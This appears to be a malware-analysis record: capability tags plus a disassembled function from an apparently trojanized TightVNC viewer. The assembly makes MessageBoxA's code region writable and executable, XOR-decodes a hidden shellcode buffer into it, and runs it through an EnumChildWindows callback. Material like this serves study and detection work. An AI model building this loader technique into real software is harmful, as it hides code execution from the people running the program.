Function at 0x405dc0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x433272
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x1a44
call fcn.00419720
mov eax, dword [0x45106c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov ecx, dword [0x453e24]
test ecx, ecx
je 0x405e06
mov eax, dword [ecx]
push 1
call dword [eax]
push 8
call fcn.00418d43
mov esi, eax
add esp, 4
mov dword [ebp - 0x1990], esi
mov dword [ebp - 4], 0
mov dword [esi + 4], 0
mov dword [esi], vtable.ViewerSettingsManager.0
mov dword [ebp - method.StringStorage.virtual_0], vtable.StringStorage.0
mov dword [ebp - 0x18fc], 0
mov dword [ebp - 0x18f8], 0
mov dword [ebp - 0x18f4], 0
lea eax, [ebp - 0x18fc]
mov byte [ebp - 4], 2
push eax
push 1
mov ecx, eax
call fcn.00409b70
mov eax, dword [ebp - 0x18f8]
mov ecx, dword [ebp - 0x18fc]
sub eax, ecx
sar eax, 1
add eax, eax
push eax
push 0x44785c
push ecx
call fcn.00419ff0
push str.SoftwareTightVNCViewer
lea eax, [ebp - 0x1900]
mov byte [ebp - 4], 3
push str._sSettings_
push eax
call fcn.00412e30
mov ecx, dword [esi + 4]
add esp, 0x18
mov edi, dword [ebp - 0x18fc]
test ecx, ecx
je 0x405eb6
mov eax, dword [ecx]
push 1
call dword [eax]
push 0x1c
call fcn.00418d43
mov dword [ebp - 0x190c], eax
push ecx
push edi
push 0x80000001
mov ecx, eax
mov byte [ebp - 4], 4
call fcn.00415b70
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x18fc]
mov dword [esi + 4], eax
mov dword [ebp - method.StringStorage.virtual_0], vtable.StringStorage.0
test ecx, ecx
je 0x405f25
mov eax, dword [ebp - 0x18f4]
sub eax, ecx
sar eax, 1
lea edx, [eax + eax]
mov eax, ecx
cmp edx, 0x1000
jb 0x405f1b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40647e
push edx
push ecx
call fcn.00418878
add esp, 8
push ecx
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1a54]
mov dword [0x453e24], esi
call fcn.00409f70
push esi
lea ecx, [ebp - 0x1a54]
mov dword [ebp - 4], 5
call fcn.0040a360
lea eax, [ebp - 0x1960]
mov word [ebp - 0x198c], 0x701
push eax
mov byte [ebp - 0x198a], 0
mov dword [ebp - 0x1988], 0xffffffff
mov dword [ebp - 0x1984], 6
mov dword [ebp - 0x1980], 0x100
mov dword [ebp - 0x1978], 1
mov dword [ebp - 0x1974], 1
mov dword [ebp - 0x1970], 0x1000100
mov byte [ebp - 0x196c], 0
mov dword [ebp - 0x1968], 1
mov dword [ebp - method.LocalMutex.virtual_0], vtable.LocalMutex.0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea ecx, [ebp - 0x19cc]
mov byte [ebp - 4], 6
call fcn.00401d90
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x1948]
mov byte [ebp - 0x18ed], 0
call fcn.00415160
mov byte [ebp - 4], 8
lea eax, [ebp - 0x19cc]
mov dword [ebp - 0x1928], eax
lea eax, [ebp - 0x198c]
mov dword [ebp - 0x1924], eax
lea eax, [ebp - 0x1a54]
mov dword [ebp - 0x1920], eax
lea eax, [ebp - 0x18ed]
mov dword [ebp - 0x191c], eax
mov dword [ebp - 0x1918], 0
mov dword [ebp - 0x1914], 0
call fcn.004091f0
mov dword [ebp - 0x1918], eax
mov byte [ebp - 4], 9
mov ecx, 0x4525e4
mov eax, dword [vtable.LocalMutex.0]
mov dword [ebp - method.Singleton_class_ResourceLoader_.virtual_0], vtable.Singleton_class_ResourceLoader_.0
call dword [eax + 4]
mov eax, dword [0x453f74]
lea ecx, [ebp - 0x1908]
test eax, eax
cmovne ecx, eax
mov dword [0x453f74], ecx
mov byte [ebp - 4], 0xa
mov ecx, 0x4525e4
mov eax, dword [vtable.LocalMutex.0]
call dword [eax + 8]
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1908], 0x449db0
mov dword [ebp - 0x1904], eax
sub esp, 0xc
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x1a54]
call fcn.0040a500
mov dword [ebp - 4], 0xb
lea ecx, [ebp - 0x1948]
mov byte [ebp - 4], 0xe
call fcn.00406b30
mov dword [ebp - 4], 0xb
lea ecx, [ebp - 0x18fc]
push dword [ebp - 0x1a20]
call fcn.0040d950
lea eax, [ebp - 0x18fc]
mov byte [ebp - 4], 0x12
push 0x447a50
push eax
call fcn.0040db00
push 0x18d6
lea eax, [ebp - 0x18ec]
push 0x447a60
push eax
call fcn.00419ff0
mov edi, dword [sym.imp.USER32.dll_MessageBoxA]
lea eax, [ebp - 0x1910]
add esp, 0x14
mov dword [ebp - 0x1910], 0
push eax
push 0x40
push 0xf831
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x406292
lea ecx, [ebp - 0x18fc]
call fcn.0040daa0
mov byte [ebp - 4], 0x13
mov ecx, 0x4525e4
mov eax, dword [vtable.LocalMutex.0]
mov dword [ebp - method.Singleton_class_ResourceLoader_.virtual_0], vtable.Singleton_class_ResourceLoader_.0
call dword [eax + 4]
mov dword [0x453f74], 0
mov byte [ebp - 4], 0x14
mov ecx, 0x4525e4
mov eax, dword [vtable.LocalMutex.0]
call dword [eax + 8]
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x1918]
mov esi, dword [ebp - 0x1918]
push dword [esi + 4]
call fcn.00406580
mov eax, dword [ebp - 0x1918]
push 0x30
mov dword [eax + 4], esi
mov eax, dword [ebp - 0x1918]
mov dword [eax], esi
mov eax, dword [ebp - 0x1918]
mov dword [eax + 8], esi
push dword [ebp - 0x1918]
mov dword [ebp - 0x1914], 0
call fcn.00418878
add esp, 8
lea ecx, [ebp - 0x1948]
call fcn.004155b0
jmp 0x40624e
lea ecx, [ebp - 0x19cc]
call fcn.00406490
lea eax, [ebp - 0x1960]
mov dword [ebp - method.LocalMutex.virtual_0], vtable.LocalMutex.0
push eax
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
lea ecx, [ebp - 0x1a54]
mov dword [ebp - method.Lockable.virtual_0], vtable.Lockable.0
call fcn.0040a220
xor eax, eax
jmp 0x406460
mov bl, byte [ebp - 0x18ec]
lea esi, [ebp - 0x18ec]
xor bl, 0x90
mov ecx, edi
sub esi, edi
mov edx, 0x18d5
nop word [eax + eax]
mov al, byte [esi + ecx]
nop
nop
lea ecx, [ecx + 1]
nop
xor al, bl
nop
nop
nop
mov byte [ecx - 1], al
sub edx, 1
jne 0x4062b0
push edx
push edi
push edx
call dword [sym.imp.USER32.dll_EnumChildWindows]
mov edi, dword [ebp - 0x18f4]
test edi, edi
je 0x406320
mov eax, dword [edi + 0x1c]
lea ecx, [edi + 0x1c]
push eax
push dword [eax]
lea eax, [ebp - 0x190c]
push eax
call fcn.0040de40
push 0x20
push dword [edi + 0x1c]
call fcn.00418878
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
lea eax, [edi + 4]
add esp, 8
mov dword [edi], vtable.LocalMutex.0
push eax
call ebx
push 0x58
push edi
mov dword [edi], vtable.Lockable.0
call fcn.00418878
add esp, 8
jmp 0x406326
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
mov byte [ebp - 4], 0x16
mov ecx, 0x4525e4
mov eax, dword [vtable.LocalMutex.0]
mov dword [ebp - method.Singleton_class_ResourceLoader_.virtual_0], vtable.Singleton_class_ResourceLoader_.0
call dword [eax + 4]
mov dword [0x453f74], 0
mov byte [ebp - 4], 0x17
mov ecx, 0x4525e4
mov eax, dword [vtable.LocalMutex.0]
call dword [eax + 8]
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x1918]
mov esi, dword [ebp - 0x1918]
push dword [esi + 4]
call fcn.00406580
mov eax, dword [ebp - 0x1918]
push 0x30
mov dword [eax + 4], esi
mov eax, dword [ebp - 0x1918]
mov dword [eax], esi
mov eax, dword [ebp - 0x1918]
mov dword [eax + 8], esi
push dword [ebp - 0x1918]
mov dword [ebp - 0x1914], 0
call fcn.00418878
add esp, 8
lea ecx, [ebp - 0x1948]
call fcn.004155b0
lea ecx, [ebp - 0x19ac]
call fcn.00412c10
mov eax, dword [ebp - 0x19c8]
mov dword [ebp - method.HostPath.virtual_0], vtable.HostPath.0
test eax, eax
je 0x4063e5
push eax
call fcn.00418b43
add esp, 4
mov dword [ebp - 0x19c8], 0
mov eax, dword [ebp - 0x19c4]
test eax, eax
je 0x406402
push eax
call fcn.00418b43
add esp, 4
mov dword [ebp - 0x19c4], 0
mov eax, dword [ebp - 0x19bc]
test eax, eax
je 0x40641f
push eax
call fcn.00418b43
add esp, 4
mov dword [ebp - 0x19bc], 0
lea eax, [ebp - 0x1960]
mov dword [ebp - 0x19c0], 0
push eax
mov dword [ebp - 0x19b8], 0
mov dword [ebp - method.LocalMutex.virtual_0], vtable.LocalMutex.0
call ebx
lea ecx, [ebp - 0x1a54]
mov dword [ebp - method.Lockable.virtual_0], vtable.Lockable.0
call fcn.0040a220
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00418867
mov esp, ebp
pop ebp
ret 0x10
call fcn.00420563
int3